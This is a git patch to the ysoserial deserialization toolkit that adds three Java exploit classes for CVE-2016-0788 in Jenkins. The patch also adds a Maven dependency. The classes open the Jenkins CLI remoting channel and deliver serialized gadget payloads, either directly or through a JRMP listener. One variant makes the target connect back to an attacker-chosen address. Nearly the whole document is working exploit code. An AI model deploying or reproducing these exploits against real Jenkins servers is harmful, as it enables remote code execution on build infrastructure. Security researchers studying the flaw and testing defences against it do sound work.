From c94779b83d6e5933d0dcee4749a9f4c7208f2789 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 12:27:37 +0100 Subject: [PATCH] Add jenkins client and exploits (CVE-2016-0788) --- pom.xml | 34 +-- .../java/ysoserial/exploit/JenkinsCLI.java | 136 +++++++++++ .../ysoserial/exploit/JenkinsListener.java | 231 ++++++++++++++++++ .../ysoserial/exploit/JenkinsReverse.java | 94 +++++++ 4 files changed, 479 insertions(+), 16 deletions(-) create mode 100644 src/main/java/ysoserial/exploit/JenkinsCLI.java create mode 100644 src/main/java/ysoserial/exploit/JenkinsListener.java create mode 100644 src/main/java/ysoserial/exploit/JenkinsReverse.java diff --git a/pom.xml b/pom.xml index 4f1264a..07f49ea 100644 --- a/pom.xml +++ b/pom.xml @@ -51,6 +51,14 @@ + + + + jenkins + default + http://repo.jenkins-ci.org/public/ + + @@ -105,6 +113,11 @@ commons-codec 1.9 + + remoting + org.jenkins-ci.main + 2.55 + @@ -179,25 +192,14 @@ myfaces-impl 2.2.9 + + xalan + xalan + 2.7.2 + - - xalan - - - properXalan - - - - - xalan - xalan - 2.7.2 - - - - hibernate5 diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java new file mode 100644 index 0000000..7bb958b --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -0,0 +1,136 @@ +package ysoserial.exploit; + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; + +/** + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes" +} ) +public class JenkinsCLI { + public static final void main ( final String[] args ) { + if ( args.length < 3 ) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + return; + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(args[ 2 ]); + } + catch ( Exception e ) { + System.err.println("Failed to construct payload"); + e.printStackTrace(System.err); + System.exit(-1); + return; + } + + String jenkinsUrl = args[ 0 ]; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + } + + public static Callable getPropertyCallable ( final Object prop ) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if ( ! ( conn instanceof HttpURLConnection ) ) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if ( hc.getResponseCode() >= 400 ) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java new file mode 100644 index 0000000..cdb42ec --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -0,0 +1,231 @@ +package ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.JRMPListener; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; + + +/** + * CVE-2016-0788 exploit (1) + * + * @author mbechler + */ +@SuppressWarnings ( { + "rawtypes", "restriction" +} ) +public class JenkinsListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + } + + String jenkinsUrl = args[ 0 ]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } + catch ( Exception e ) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); + } + + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + + } + + + /** + * @param oid + * @param uro + * @param reqClass + * @return + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws ClassNotFoundException + */ + private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { + uro, + }); + } + + + /** + * @param args + * @param payloadClass + * @param jrmpPort + * @param isa + * @param e + * @throws Exception + * @throws IOException + */ + private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, + InetSocketAddress isa, Exception e ) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if ( start < 0 ) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if ( sep < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if ( end < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[ 0 ], 16); + long o2 = Long.parseLong(parts[ 1 ], 16); + short o3 = Short.parseShort(parts[ 2 ], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); + } + + + /** + * @param inetSocketAddress + * @param obj + * @param o1 + * @param o2 + * @param o3 + * @throws IOException + */ + private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); + final Object object = payload.getObject(payloadArg); + objOut.writeObject(object); + os.flush(); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + +} diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java new file mode 100644 index 0000000..4dc0e31 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -0,0 +1,94 @@ +package ysoserial.exploit; + + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +import hudson.remoting.Channel; +import ysoserial.exploit.JRMPListener; +import ysoserial.payloads.JRMPClient; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * CVE-2016-0788 exploit (2) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes" +} ) +public class JenkinsReverse { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 2 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 2 ] + "'"); + System.exit(-1); + return; + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(args[ 3 ]); + } + catch ( Exception e ) { + System.err.println("Failed to construct payload"); + e.printStackTrace(System.err); + System.exit(-1); + return; + } + + String myAddr = args[ 1 ]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[ 0 ]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( t != null ) { + t.interrupt(); + try { + t.join(); + } + catch ( InterruptedException e ) { + e.printStackTrace(System.err); + } + } + } + } +}